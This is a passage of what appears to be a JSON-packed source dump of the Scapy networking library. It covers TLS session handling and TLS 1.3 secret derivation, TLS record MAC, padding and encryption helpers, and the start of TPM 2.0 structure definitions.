self.nss_keys.get('SERVER_TRAFFIC_SECRET_0', {})\n            sts0 = sts0_dict.get(self.client_random, sts0)\n            self.tls13_derived_secrets[\"server_traffic_secrets\"] = [sts0]\n\n            es_dict = self.nss_keys.get('EXPORTER_SECRET', {})\n            es = es_dict.get(self.client_random, es)\n            self.tls13_derived_secrets[\"exporter_secret\"] = es\n\n        if self.connection_end == \"server\":\n            # self.prcs.tls13_derive_keys(cts0)\n            self.pwcs.tls13_derive_keys(sts0)\n        elif self.connection_end == \"client\":\n            # self.pwcs.tls13_derive_keys(cts0)\n            self.prcs.tls13_derive_keys(sts0)\n\n    def compute_tls13_traffic_secrets_end(self):\n        cts0 = self.tls13_derived_secrets[\"client_traffic_secrets\"][0]\n        if self.connection_end == \"server\":\n            self.prcs.tls13_derive_keys(cts0)\n        elif self.connection_end == \"client\":\n            self.pwcs.tls13_derive_keys(cts0)\n\n    def compute_tls13_verify_data(self, connection_end, read_or_write,\n                                  handshake_context):\n        # RFC8446 - 4.4\n        # +-----------+-------------------------+-----------------------------+\n        # | Mode      | Handshake Context       | Base Key                    |\n        # +-----------+-------------------------+-----------------------------+\n        # | Server    | ClientHello ... later   | server_handshake_traffic_   |\n        # |           | of EncryptedExtensions/ | secret                      |\n        # |           | CertificateRequest      |                             |\n        # |           |                         |                             |\n        # | Client    | ClientHello ... later   | client_handshake_traffic_   |\n        # |           | of server               | secret                      |\n        # |           | Finished/EndOfEarlyData |                             |\n        # |           |                         |                             |\n        # | Post-     | ClientHello ... client  | client_application_traffic_ |\n        # | Handshake | Finished +              | secret_N                    |\n        # |           | CertificateRequest      |                             |\n        # +-----------+-------------------------+-----------------------------+\n        if self.post_handshake:\n            # RFC8446 - 4.6\n            # TLS also allows other messages to be sent after the main handshake.\n            # These messages use a handshake content type and are encrypted under\n            # the appropriate application traffic key.\n            shts = self.tls13_derived_secrets[\"server_traffic_secrets\"][-1]\n            chts = self.tls13_derived_secrets[\"client_traffic_secrets\"][-1]\n        else:\n            shts = self.tls13_derived_secrets[\"server_handshake_traffic_secret\"]\n            chts = self.tls13_derived_secrets[\"client_handshake_traffic_secret\"]\n        if read_or_write == \"read\":\n            hkdf = self.rcs.hkdf\n            if connection_end == \"client\":\n                basekey = shts\n            elif connection_end == \"server\":\n                basekey = chts\n        elif read_or_write == \"write\":\n            hkdf = self.wcs.hkdf\n            if connection_end == \"client\":\n                basekey = chts\n            elif connection_end == \"server\":\n                basekey = shts\n\n        if not hkdf or not basekey:\n            warning(\"Missing arguments for verify_data computation!\")\n            return None\n        return hkdf.compute_verify_data(basekey, handshake_context)\n\n    def compute_tls13_resumption_secret(self):\n        \"\"\"\n        self.handshake_messages should be ClientHello...ClientFinished.\n        \"\"\"\n        if self.connection_end == \"server\":\n            hkdf = self.prcs.hkdf\n        elif self.connection_end == \"client\":\n            hkdf = self.pwcs.hkdf\n        rs = hkdf.derive_secret(self.tls13_master_secret,\n                                b\"res master\",\n                                b\"\".join(self.handshake_messages))\n        self.tls13_derived_secrets[\"resumption_secret\"] = rs\n\n    def compute_tls13_next_traffic_secrets(self, connection_end, read_or_write):  # noqa : E501\n        \"\"\"\n        Ciphers key and IV are updated accordingly.\n        \"\"\"\n        if self.rcs.hkdf:\n            hkdf = self.rcs.hkdf\n            hl = hkdf.hash.digest_size\n        elif self.wcs.hkdf:\n            hkdf = self.wcs.hkdf\n            hl = hkdf.hash.digest_size\n\n        if read_or_write == \"read\":\n            if connection_end == \"client\":\n                cts = self.tls13_derived_secrets[\"client_traffic_secrets\"]\n                ctsN = cts[-1]\n                ctsN_1 = hkdf.expand_label(ctsN, b\"traffic upd\", b\"\", hl)\n                cts.append(ctsN_1)\n                self.prcs.tls13_derive_keys(ctsN_1)\n            elif connection_end == \"server\":\n                sts = self.tls13_derived_secrets[\"server_traffic_secrets\"]\n                stsN = sts[-1]\n                stsN_1 = hkdf.expand_label(stsN, b\"traffic upd\", b\"\", hl)\n                sts.append(stsN_1)\n\n                self.prcs.tls13_derive_keys(stsN_1)\n\n        elif read_or_write == \"write\":\n            if connection_end == \"client\":\n                cts = self.tls13_derived_secrets[\"client_traffic_secrets\"]\n                ctsN = cts[-1]\n                ctsN_1 = hkdf.expand_label(ctsN, b\"traffic upd\", b\"\", hl)\n                cts.append(ctsN_1)\n                self.pwcs.tls13_derive_keys(ctsN_1)\n            elif connection_end == \"server\":\n                sts = self.tls13_derived_secrets[\"server_traffic_secrets\"]\n                stsN = sts[-1]\n                stsN_1 = hkdf.expand_label(stsN, b\"traffic upd\", b\"\", hl)\n                sts.append(stsN_1)\n\n                self.pwcs.tls13_derive_keys(stsN_1)\n\n    # Tests for record building/parsing\n\n    def consider_read_padding(self):\n        # Return True if padding is needed. Used by TLSPadField.\n        return (self.rcs.cipher.type == \"block\" and\n                not (False in self.rcs.cipher.ready.values()))\n\n    def consider_write_padding(self):\n        # Return True if padding is needed. Used by TLSPadField.\n        return self.wcs.cipher.type == \"block\"\n\n    def use_explicit_iv(self, version, cipher_type):\n        # Return True if an explicit IV is needed. Required for TLS 1.1+\n        # when either a block or an AEAD cipher is used.\n        if cipher_type == \"stream\":\n            return False\n        return version >= 0x0302\n\n    # Python object management\n\n    def hash(self):\n        s1 = struct.pack(\"!H\", self.sport)\n        s2 = struct.pack(\"!H\", self.dport)\n        family = socket.AF_INET\n        if ':' in self.ipsrc:\n            family = socket.AF_INET6\n        s1 += inet_pton(family, self.ipsrc)\n        s2 += inet_pton(family, self.ipdst)\n        return strxor(s1, s2)\n\n    def eq(self, other):\n        ok = False\n        if (self.sport == other.sport and self.dport == other.dport and\n                self.ipsrc == other.ipsrc and self.ipdst == other.ipdst):\n            ok = True\n\n        if (not ok and\n            self.dport == other.sport and self.sport == other.dport and\n                self.ipdst == other.ipsrc and self.ipsrc == other.ipdst):\n            ok = True\n\n        if ok:\n            if self.sid and other.sid:\n                return self.sid == other.sid\n            return True\n\n        return False\n\n    def repr(self, _underlayer=None):\n        sid = repr(self.sid)\n        if len(sid) > 12:\n            sid = sid[:11] + \"...\"\n        if _underlayer and _underlayer.dport != self.dport:\n            return \"%s:%s > %s:%s\" % (self.ipdst, str(self.dport),\n                                      self.ipsrc, str(self.sport))\n        return \"%s:%s > %s:%s\" % (self.ipsrc, str(self.sport),\n                                  self.ipdst, str(self.dport))\n\n    def __repr__(self):\n        return self.repr()\n\n\n###############################################################################\n#   Session singleton                                                         #\n###############################################################################\n\n\nclass _GenericTLSSessionInheritance(Packet):\n    \"\"\"\n    Many classes inside the TLS module need to get access to session-related\n    information. For instance, an encrypted TLS record cannot be parsed without\n    some knowledge of the cipher suite being used and the secrets which have\n    been negotiated. Passing information is also essential to the handshake.\n    To this end, various TLS objects inherit from the present class.\n    \"\"\"\n    __slots__ = [\"tls_session\", \"rcs_snap_init\", \"wcs_snap_init\"]\n    name = \"Dummy Generic TLS Packet\"\n    fields_desc = []\n\n    def __init__(self, _pkt=\"\", post_transform=None, _internal=0,\n                 _underlayer=None, tls_session=None, **fields):\n        try:\n            setme = self.tls_session is None\n        except Exception:\n            setme = True\n\n        newses = False\n        if setme:\n            if tls_session is None:\n                newses = True\n                self.tls_session = tlsSession()\n            else:\n                self.tls_session = tls_session\n\n        self.rcs_snap_init = self.tls_session.rcs.snapshot()\n        self.wcs_snap_init = self.tls_session.wcs.snapshot()\n\n        if isinstance(_underlayer, TCP):\n            # Get information from _underlayer\n            self.tls_session.set_underlayer(_underlayer)\n\n            # Load a NSS Key Log file\n            if conf.tls_nss_filename is not None:\n                if conf.tls_nss_keys is None:\n                    conf.tls_nss_keys = load_nss_keys(conf.tls_nss_filename)\n\n            if conf.tls_session_enable:\n                if newses:\n                    s = conf.tls_sessions.find(self.tls_session)\n                    if s:\n                        if conf.tls_nss_keys is not None:\n                            s.nss_keys = conf.tls_nss_keys\n                        if s.dport == self.tls_session.dport:\n                            self.tls_session = s\n                        else:\n                            self.tls_session = s.mirror()\n                    else:\n                        if conf.tls_nss_keys is not None:\n                            self.tls_session.nss_keys = conf.tls_nss_keys\n                        conf.tls_sessions.add(self.tls_session)\n            if self.tls_session.connection_end == \"server\":\n                srk = conf.tls_sessions.server_rsa_key\n                if not self.tls_session.server_rsa_key and \\\n                        srk:\n                    self.tls_session.server_rsa_key = srk\n\n        Packet.__init__(self, _pkt=_pkt, post_transform=post_transform,\n                        _internal=_internal, _underlayer=_underlayer,\n                        **fields)\n\n    def __getattr__(self, attr):\n        \"\"\"\n        The tls_session should be found only through the normal mechanism.\n        \"\"\"\n        if attr == \"tls_session\":\n            return None\n        return super(_GenericTLSSessionInheritance, self).__getattr__(attr)\n\n    def tls_session_update(self, msg_str):\n        \"\"\"\n        post_{build, dissection}_tls_session_update() are used to update the\n        tlsSession context. The default definitions below, along with\n        tls_session_update(), may prevent code duplication in some cases.\n        \"\"\"\n        pass\n\n    def post_build_tls_session_update(self, msg_str):\n        self.tls_session_update(msg_str)\n\n    def post_dissection_tls_session_update(self, msg_str):\n        self.tls_session_update(msg_str)\n\n    def copy(self):\n        pkt = Packet.copy(self)\n        pkt.tls_session = self.tls_session\n        return pkt\n\n    def clone_with(self, payload=None, **kargs):\n        pkt = Packet.clone_with(self, payload=payload, **kargs)\n        pkt.tls_session = self.tls_session\n        return pkt\n\n    def raw_stateful(self):\n        return super(_GenericTLSSessionInheritance, self).__bytes__()\n\n    def str_stateful(self):\n        return self.raw_stateful()\n\n    def __bytes__(self):\n        \"\"\"\n        The __bytes__ call has to leave the connection states unchanged.\n        We also have to delete raw_packet_cache in order to access post_build.\n\n        For performance, the pending connStates are not snapshotted.\n        This should not be an issue, but maybe pay attention to this.\n\n        The previous_freeze_state prevents issues with calling a raw() calling\n        in turn another raw(), which would unfreeze the session too soon.\n        \"\"\"\n        s = self.tls_session\n        rcs_snap = s.rcs.snapshot()\n        wcs_snap = s.wcs.snapshot()\n        rpc_snap = self.raw_packet_cache\n        rpcf_snap = self.raw_packet_cache_fields\n\n        s.wcs = self.rcs_snap_init\n\n        self.raw_packet_cache = None\n        previous_freeze_state = s.frozen\n        s.frozen = True\n        built_packet = super(_GenericTLSSessionInheritance, self).__bytes__()\n        s.frozen = previous_freeze_state\n\n        s.rcs = rcs_snap\n        s.wcs = wcs_snap\n        self.raw_packet_cache = rpc_snap\n        self.raw_packet_cache_fields = rpcf_snap\n\n        return built_packet\n    __str__ = __bytes__\n\n    def show2(self):\n        \"\"\"\n        Rebuild the TLS packet with the same context, and then .show() it.\n        We need self.__class__ to call the subclass in a dynamic way.\n\n        Howether we do not want the tls_session.{r,w}cs.seq_num to be updated.\n        We have to bring back the init states (it's possible the cipher context\n        has been updated because of parsing) but also to keep the current state\n        and restore it afterwards (the raw() call may also update the states).\n        \"\"\"\n        s = self.tls_session\n        rcs_snap = s.rcs.snapshot()\n        wcs_snap = s.wcs.snapshot()\n\n        s.rcs = self.rcs_snap_init\n\n        built_packet = raw(self)\n        s.frozen = True\n        self.__class__(built_packet, tls_session=s).show()\n        s.frozen = False\n\n        s.rcs = rcs_snap\n        s.wcs = wcs_snap\n\n    def mysummary(self, first=True):\n        from scapy.layers.tls.record import TLS\n        from scapy.layers.tls.record_tls13 import TLS13\n        if (\n            self.underlayer and\n            isinstance(self.underlayer, _GenericTLSSessionInheritance)\n        ):\n            summary = getattr(self, \"_name\", self.name)\n        else:\n            _underlayer = None\n            if self.underlayer and isinstance(self.underlayer, TCP):\n                _underlayer = self.underlayer\n            summary = \"TLS %s / %s\" % (\n                self.tls_session.repr(_underlayer=_underlayer),\n                getattr(self, \"_name\", self.name)\n            )\n        return summary, [TLS, TLS13]\n\n    @classmethod\n    def tcp_reassemble(cls, data, metadata, session):\n        # Used with TCPSession\n        from scapy.layers.tls.record import TLS\n        from scapy.layers.tls.record_tls13 import TLS13\n        if cls in (TLS, TLS13):\n            length = struct.unpack(\"!H\", data[3:5])[0] + 5\n            if len(data) >= length:\n                # get the underlayer as it is used to populate tls_session\n                if \"original\" not in metadata:\n                    return cls(data)\n                underlayer = metadata[\"original\"][TCP].copy()\n                underlayer.remove_payload()\n                # eventually get the tls_session now for TLS.dispatch_hook\n                tls_session = None\n                if conf.tls_session_enable:\n                    s = tlsSession()\n                    s.set_underlayer(underlayer)\n                    tls_session = conf.tls_sessions.find(s)\n                    if tls_session:\n                        if tls_session.dport != underlayer.dport:\n                            tls_session = tls_session.mirror()\n                        if tls_session.firsttcp == underlayer.seq:\n                            log_runtime.info(\n                                \"TLS: session %s is a duplicate of a previous \"\n                                \"dissection. Discard it\" % repr(tls_session)\n                            )\n                            conf.tls_sessions.rem(tls_session, force=True)\n                            tls_session = None\n                return cls(data, _underlayer=underlayer, tls_session=tls_session)\n        else:\n            return cls(data)\n\n\n###############################################################################\n#   Multiple TLS sessions                                                     #\n###############################################################################\n\nclass _tls_sessions(object):\n    def __init__(self):\n        self.sessions = {}\n        self.server_rsa_key = None\n\n    def add(self, session):\n        s = self.find(session)\n        if s:\n            log_runtime.info(\"TLS: previous session shall not be overwritten\")\n            return\n\n        h = session.hash()\n        if h in self.sessions:\n            self.sessions[h].append(session)\n        else:\n            self.sessions[h] = [session]\n\n    def rem(self, session, force=False):\n        if not force:\n            s = self.find(session)\n            if s:\n                log_runtime.info(\"TLS: previous session shall not be overwritten\")\n                return\n\n        h = session.hash()\n        self.sessions[h].remove(session)\n\n    def find(self, session):\n        try:\n            h = session.hash()\n        except Exception:\n            return None\n        if h in self.sessions:\n            for k in self.sessions[h]:\n                if k.eq(session):\n                    if conf.debug_tls:\n                        log_runtime.info(\"TLS: found session matching %s\", k)\n                    return k\n        if conf.debug_tls:\n            log_runtime.info(\"TLS: did not find session matching %s\", session)\n        return None\n\n    def __repr__(self):\n        res = [(\"First endpoint\", \"Second endpoint\", \"Session ID\")]\n        for li in self.sessions.values():\n            for s in li:\n                src = \"%s[%d]\" % (s.ipsrc, s.sport)\n                dst = \"%s[%d]\" % (s.ipdst, s.dport)\n                sid = repr(s.sid)\n                if len(sid) > 12:\n                    sid = sid[:11] + \"...\"\n                res.append((src, dst, sid))\n        colwidth = (max(len(y) for y in x) for x in zip(*res))\n        fmt = \"  \".join(map(lambda x: \"%%-%ds\" % x, colwidth))\n        return \"\\n\".join(map(lambda x: fmt % x, res))\n\n\nclass TLSSession(TCPSession):\n    def __init__(self, *args, **kwargs):\n        # XXX this doesn't bring any value.\n        warning(\n            \"TLSSession is deprecated and will be removed in a future version. \"\n            \"Please use TCPSession instead with conf.tls_session_enable=True\"\n        )\n        server_rsa_key = kwargs.pop(\"server_rsa_key\", None)\n        super(TLSSession, self).__init__(*args, **kwargs)\n        self._old_conf_status = conf.tls_session_enable\n        conf.tls_session_enable = True\n        if server_rsa_key:\n            conf.tls_sessions.server_rsa_key = server_rsa_key\n\n    def toPacketList(self):\n        conf.tls_session_enable = self._old_conf_status\n        return super(TLSSession, self).toPacketList()\n\n\n# Instantiate the TLS sessions holder\nconf.tls_sessions = _tls_sessions()\n"
  },
  {
    "path": "scapy/layers/tls/tools.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard\n#               2015, 2016, 2017 Maxence Tury\n\n\"\"\"\nTLS helpers, provided as out-of-context methods.\n\"\"\"\n\nimport struct\n\nfrom scapy.compat import orb, chb\nfrom scapy.error import warning\nfrom scapy.fields import (ByteEnumField, ShortEnumField,\n                          FieldLenField, StrLenField)\nfrom scapy.packet import Packet\n\nfrom scapy.layers.tls.basefields import _tls_type, _tls_version\n\n\nclass TLSPlaintext(Packet):\n    name = \"TLS Plaintext\"\n    fields_desc = [ByteEnumField(\"type\", None, _tls_type),\n                   ShortEnumField(\"version\", None, _tls_version),\n                   FieldLenField(\"len\", None, length_of=\"data\", fmt=\"!H\"),\n                   StrLenField(\"data\", \"\",\n                               length_from=lambda pkt: pkt.len)]\n\n\nclass TLSCompressed(TLSPlaintext):\n    name = \"TLS Compressed\"\n\n\nclass TLSCiphertext(TLSPlaintext):\n    name = \"TLS Ciphertext\"\n\n\ndef _tls_compress(alg, p):\n    \"\"\"\n    Compress p (a TLSPlaintext instance) using compression algorithm instance\n    alg and return a TLSCompressed instance.\n    \"\"\"\n    c = TLSCompressed()\n    c.type = p.type\n    c.version = p.version\n    c.data = alg.compress(p.data)\n    c.len = len(c.data)\n    return c\n\n\ndef _tls_decompress(alg, c):\n    \"\"\"\n    Decompress c (a TLSCompressed instance) using compression algorithm\n    instance alg and return a TLSPlaintext instance.\n    \"\"\"\n    p = TLSPlaintext()\n    p.type = c.type\n    p.version = c.version\n    p.data = alg.decompress(c.data)\n    p.len = len(p.data)\n    return p\n\n\ndef _tls_mac_add(alg, c, write_seq_num):\n    \"\"\"\n    Compute the MAC using provided MAC alg instance over TLSCiphertext c using\n    current write sequence number write_seq_num. Computed MAC is then appended\n    to c.data and c.len is updated to reflect that change. It is the\n    caller responsibility to increment the sequence number after the operation.\n    The function has no return value.\n    \"\"\"\n    write_seq_num = struct.pack(\"!Q\", write_seq_num)\n    h = alg.digest(write_seq_num + bytes(c))\n    c.data += h\n    c.len += alg.hash_len\n\n\ndef _tls_mac_verify(alg, p, read_seq_num):\n    \"\"\"\n    Verify if the MAC in provided message (message resulting from decryption\n    and padding removal) is valid. Current read sequence number is used in\n    the verification process.\n\n    If the MAC is valid:\n     - The function returns True\n     - The packet p is updated in the following way: trailing MAC value is\n       removed from p.data and length is updated accordingly.\n\n    In case of error, False is returned, and p may have been modified.\n\n    Also note that it is the caller's responsibility to update the read\n    sequence number after the operation.\n    \"\"\"\n    h_size = alg.hash_len\n    if p.len < h_size:\n        return False\n    received_h = p.data[-h_size:]\n    p.len -= h_size\n    p.data = p.data[:-h_size]\n\n    read_seq_num = struct.pack(\"!Q\", read_seq_num)\n    h = alg.digest(read_seq_num + bytes(p))\n    return h == received_h\n\n\ndef _tls_add_pad(p, block_size):\n    \"\"\"\n    Provided with cipher block size parameter and current TLSCompressed packet\n    p (after MAC addition), the function adds required, deterministic padding\n    to p.data before encryption step, as it is defined for TLS (i.e. not\n    SSL and its allowed random padding). The function has no return value.\n    \"\"\"\n    padlen = -p.len % block_size\n    padding = chb(padlen) * (padlen + 1)\n    p.len += len(padding)\n    p.data += padding\n\n\ndef _tls_del_pad(p):\n    \"\"\"\n    Provided with a just decrypted TLSCiphertext (now a TLSPlaintext instance)\n    p, the function removes the trailing padding found in p.data. It also\n    performs some sanity checks on the padding (length, content, ...). False\n    is returned if one of the check fails. Otherwise, True is returned,\n    indicating that p.data and p.len have been updated.\n    \"\"\"\n\n    if p.len < 1:\n        warning(\"Message format is invalid (padding)\")\n        return False\n\n    padlen = orb(p.data[-1])\n    padsize = padlen + 1\n\n    if p.len < padsize:\n        warning(\"Invalid padding length\")\n        return False\n\n    if p.data[-padsize:] != chb(padlen) * padsize:\n        warning(\"Padding content is invalid %s\", repr(p.data[-padsize:]))\n        return False\n\n    p.data = p.data[:-padsize]\n    p.len -= padsize\n\n    return True\n\n\ndef _tls_encrypt(alg, p):\n    \"\"\"\n    Provided with an already MACed TLSCompressed packet, and a stream or block\n    cipher alg, the function converts it into a TLSCiphertext (i.e. encrypts it\n    and updates length). The function returns a newly created TLSCiphertext\n    instance.\n    \"\"\"\n    c = TLSCiphertext()\n    c.type = p.type\n    c.version = p.version\n    c.data = alg.encrypt(p.data)\n    c.len = len(c.data)\n    return c\n\n\ndef _tls_decrypt(alg, c):\n    \"\"\"\n    Provided with a TLSCiphertext instance c, and a stream or block cipher alg,\n    the function decrypts c.data and returns a newly created TLSPlaintext.\n    \"\"\"\n    p = TLSPlaintext()\n    p.type = c.type\n    p.version = c.version\n    p.data = alg.decrypt(c.data)\n    p.len = len(p.data)\n    return p\n\n\ndef _tls_aead_auth_encrypt(alg, p, write_seq_num):\n    \"\"\"\n    Provided with a TLSCompressed instance p, the function applies AEAD\n    cipher alg to p.data and builds a new TLSCiphertext instance. Unlike\n    for block and stream ciphers, for which the authentication step is done\n    separately, AEAD alg does it simultaneously: this is the reason why\n    write_seq_num is passed to the function, to be incorporated in\n    authenticated data. Note that it is the caller's responsibility to increment  # noqa: E501\n    write_seq_num afterwards.\n    \"\"\"\n    P = bytes(p)\n    write_seq_num = struct.pack(\"!Q\", write_seq_num)\n    A = write_seq_num + P[:5]\n\n    c = TLSCiphertext()\n    c.type = p.type\n    c.version = p.version\n    c.data = alg.auth_encrypt(P, A, write_seq_num)\n    c.len = len(c.data)\n    return c\n\n\ndef _tls_aead_auth_decrypt(alg, c, read_seq_num):\n    \"\"\"\n    Provided with a TLSCiphertext instance c, the function applies AEAD\n    cipher alg auth_decrypt function to c.data (and additional data)\n    in order to authenticate the data and decrypt c.data. When those\n    steps succeed, the result is a newly created TLSCompressed instance.\n    On error, None is returned. Note that it is the caller's responsibility to\n    increment read_seq_num afterwards.\n    \"\"\"\n    # 'Deduce' TLSCompressed length from TLSCiphertext length\n    # There is actually no guaranty of this equality, but this is defined as\n    # such in TLS 1.2 specifications, and it works for GCM and CCM at least.\n    #\n    plen = c.len - getattr(alg, \"nonce_explicit_len\", 0) - alg.tag_len\n    read_seq_num = struct.pack(\"!Q\", read_seq_num)\n    A = read_seq_num + struct.pack('!BHH', c.type, c.version, plen)\n\n    p = TLSCompressed()\n    p.type = c.type\n    p.version = c.version\n    p.len = plen\n    p.data = alg.auth_decrypt(A, c.data, read_seq_num)\n\n    if p.data is None:  # Verification failed.\n        return None\n    return p\n"
  },
  {
    "path": "scapy/layers/tpm.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\nImplementation of structures related to TPM 2.0 and Windows PCP\n\n(Windows Plateform Crypto Provider)\n\"\"\"\n\nfrom scapy.config import conf\nfrom scapy.packet import Packet\nfrom scapy.fields import (\n    BitField,\n    ByteField,\n    ConditionalField,\n    FlagsField,\n    IntField,\n    LEIntEnumField,\n    LEIntField,\n    LongField,\n    MultipleTypeField,\n    PacketField,\n    PacketLenField,\n    PacketListField,\n    ShortEnumField,\n    ShortField,\n    StrField,\n    StrFixedLenField,\n    StrLenField,\n)\n\n\n##########################\n#    TPM 2 structures    #\n##########################\n\nIMPLEMENTATION_PCR = 24\nPCR_SELECT_MAX = (IMPLEMENTATION_PCR + 7) // 8\nMAX_RSA_KEY_BITS = 2048\nMAX_RSA_KEY_BYTES = (MAX_RSA_KEY_BITS + 7) // 8\n\n# TPM20.h source\n\nTPM_ALG = {\n    0x0000: \"TPM_ALG_ERROR\",\n    0x0001: \"TPM_ALG_RSA\",\n    0x0004: \"TPM_ALG_SHA1\",\n    0x0005: \"TPM_ALG_HMAC\",\n    0x0006: \"TPM_ALG_AES\",\n    0x0007: \"TPM_ALG_MGF1\",\n    0x0008: \"TPM_ALG_KEYEDHASH\",\n    0x000A: \"TPM_ALG_XOR\",\n    0x000B: \"TPM_ALG_SHA256\",\n    0x000C: \"TPM_ALG_SHA384\",\n    0x000D: \"TPM_ALG_SHA512\",\n    0x0010: \"TPM_ALG_NULL\",\n    0x0012: \"TPM_ALG_SM3_256\",\n    0x0013: \"TPM_ALG_SM4\",\n    0x0014: \"TPM_ALG_RSASSA\",\n    0x0015: \"TPM_ALG_RSAES\",\n    0x0016: \"TPM_ALG_RSAPSS\",\n    0x0017: \"TPM_ALG_OAEP\",\n    0x0018: \"TPM_ALG_ECDSA\",\n    0x0019: \"TPM_ALG_ECDH\",\n    0x001A: \"TPM_ALG_ECDAA\",\n    0x001B: \"TPM_ALG_SM2\",\n    0x001C: \"TPM_ALG_ECSCHNORR\",\n    0x001D: \"TPM_ALG_ECMQV\",\n    0x0020: \"TPM_ALG_KDF1_SP800_56a\",\n    0x0021: \"TPM_ALG_KDF2\",\n    0x0022: \"TPM_ALG_KDF1_SP800_108\",\n    0x0023: \"TPM_ALG_ECC\",\n    0x0025: \"TPM_ALG_SYMCIPHER\",\n    0x0040: \"TPM_ALG_CTR\",\n    0x0041: \"TPM_ALG_OFB\",\n    0x0042: \"TPM_ALG_CBC\",\n    0x0043: \"TPM_ALG_CFB\",\n    0x0044: \"TPM_ALG_ECB\",\n}\n\nTPM_ST = {\n    0x00C4: \"TPM_ST_RSP_COMMAND\",\n    0x8000: \"TPM_ST_NULL\",\n    0x8001: \"TPM_ST_NO_SESSIONS\",\n    0x8002: \"TPM_ST_SESSIONS\",\n    0x8014: \"TPM_ST_ATTEST_NV\",\n    0x8015: \"TPM_ST_ATTEST_COMMAND_AUDIT\",\n    0x8016: \"TPM_ST_ATTEST_SESSION_AUDIT\",\n    0x8017: \"TPM_ST_ATTEST_CERTIFY\",\n    0x8018: \"TPM_ST_ATTEST_QUOTE\",\n    0x8019: \"TPM_ST_ATTEST_TIME\",\n    0x801A: \"TPM_ST_ATTEST_CREATION\",\n    0x8021: \"TPM_ST_CREATION\",\n    0x8022: \"TPM_ST_VERIFIED\",\n    0x8023: \"TPM_ST_AUTH_SECRET\",\n    0x8024: \"TPM_ST_HASHCHECK\",\n    0x8025: \"TPM_ST_AUTH_SIGNED\",\n    0x8029: \"TPM_ST_FU_MANIFEST\",\n}\n\n\nclass _Packet(Packet):\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass TPMS_SCHEME_SIGHASH(_Packet):\n    fields_desc = [\n        ShortEnumField(\"hashAlg\", 0, TPM_ALG),\n    ]\n\n\nclass TPMT_RSA_SCHEME(_Packet):\n    fields_desc = [\n        ShortEnumField(\"scheme\", 0, TPM_ALG),\n        # TPMU_ASYM_SCHEME\n        MultipleTypeField(\n            [\n                (\n                    PacketField(\n                        \"parameters\", TPMS_SCHEME_SIGHASH(), TPMS_SCHEME_SIGHASH\n                    ),\n                    lambda pkt: pkt.scheme\n                    in [\n                        0x0014,  # RSASSA\n                        0x0016,  # RSAPSS\n                        0x001A,  # RSAPSS\n                        0x001B,  # SM2\n                        0x001C,  # ECSCHNORR\n                    ],\n                )\n            ],\n            StrFixedLenField(\"parameters\", b\"\", length=0),\n        ),\n    ]\n\n\nclass TPMT_SYM_DEF_OBJECT(_Packet):\n    fields_desc = [\n        ShortEnumField(\"algorithm\", 0, TPM_ALG),\n        ConditionalField(\n            ShortField(\"keyBits\", 0),\n            lambda pkt: pkt.algorithm != 0x0010,\n        ),\n        ConditionalField(\n            ShortField(\"mode\", 0),\n            lambda pkt: pkt.algorithm != 0x0010,\n        ),\n    ]\n\n\nclass TPMS_RSA_PARMS(_Packet):\n    fields_desc = [\n        PacketField(\"symmetric\", TPMT_SYM_DEF_OBJECT(), TPMT_SYM_DEF_OBJECT),\n        PacketField(\"scheme\", TPMT_RSA_SCHEME(), TPMT_RSA_SCHEME),\n        ShortField(\"keyBits\", 0),\n        IntField(\"exponent\", 0),\n    ]\n\n\nclass TPM2B_DIGEST(_Packet):\n    fields_desc = [\n        ShortField(\"size\", 0),\n        StrLenField(\"buffer\", b\"\", length_from=lambda pkt: pkt.size),\n    ]\n\n\nclass TPML_DIGEST(_Packet):\n    fields_desc = [\n        IntField(\"count\", 0),\n        PacketListField(\"digests\", [], TPM2B_DIGEST, count_from=lambda pkt: pkt.count),\n    ]\n\n\nclass TPMS_NULL_PARMS(_Packet):\n    fields_desc = [\n        ShortEnumField(\"algorithm\", 0x0010, TPM_ALG),\n    ]\n\n\nclass TPMT_PUBLIC(_Packet):\n    fields_desc = [\n        ShortEnumField(\"type\", 0x0001, TPM_ALG),\n        ShortEnumField(\"nameAlg\", 0, TPM_ALG),\n        FlagsField(\n            \"objectAttributes\",\n            0,\n            32,\n            [\n                \"reserved1\",\n                \"fixedTPM\",\n                \"stClear\",\n                \"reserved4\",\n                \"fixedParent\",\n                \"sensitiveDataOrigin\",\n                \"userWithAuth\",\n                \"adminWithPolicy\",\n                \"reserved8\",\n                \"reserved9\",\n                \"noDA\",\n                \"encryptedDuplication\",\n                \"reserved12\",\n                \"reserved13\",\n                \"reserved14\",\n                \"reserved15\",\n                \"restricted\",\n                \"decrypt\",\n                \"sign\",\n            ],\n        ),\n        PacketField(\"authPolicy\", TPM2B_DIGEST(), TPM2B_DIGEST),\n        MultipleTypeField(\n            [\n                # TPMU_PUBLIC_PARMS\n                (\n                    PacketField(\"parameters\", TPMS_RSA_PARMS(), TPMS_RSA_PARMS),\n                    lambda pkt: pkt.type == 0x0001,\n                )\n            ],\n            StrFixedLenField(\"parameters\", b\"\", length=0),\n        ),\n        # TPMU_PUBLIC_ID\n        PacketField(\"unique\", TPM2B_DIGEST(), TPM2B_DIGEST),\n    ]\n\n\nclass TPM2B_PUBLIC(_Packet):\n    fields_desc = [\n        ShortField(\"size\", 0),\n        PacketLenField(\n            \"publicArea\",\n            TPMT_PUBLIC(),\n            TPMT_PUBLIC,\n            length_from=lambda pkt: pkt.size,\n        ),\n    ]\n\n\nclass TPM2B_PRIVATE_KEY_RSA(_Packet):\n    fields_desc = [\n        ShortField(\"size\", 0),\n        StrLenField(\n            \"buffer\",\n            b\"\",\n            length_from=lambda pkt: pkt.size,\n        ),\n    ]\n\n\nTPM2B_AUTH = TPM2B_DIGEST\n\n\nclass TPMT_SENSITIVE(_Packet):\n    fields_desc = [\n        ShortEnumField(\"sensitiveType\", 0, TPM_ALG),\n        PacketField(\"authValue\", TPM2B_AUTH(), TPM2B_AUTH),\n        PacketField(\"seedValue\", TPM2B_DIGEST(), TPM2B_DIGEST),\n        MultipleTypeField(\n            [\n                # TPMU_SENSITIVE_COMPOSITE\n                (\n                    PacketField(\n                        \"sensitive\", TPM2B_PRIVATE_KEY_RSA(), TPM2B_PRIVATE_KEY_RSA\n                    ),\n                    lambda pkt: pkt.sensitiveType == 0x0001,  # 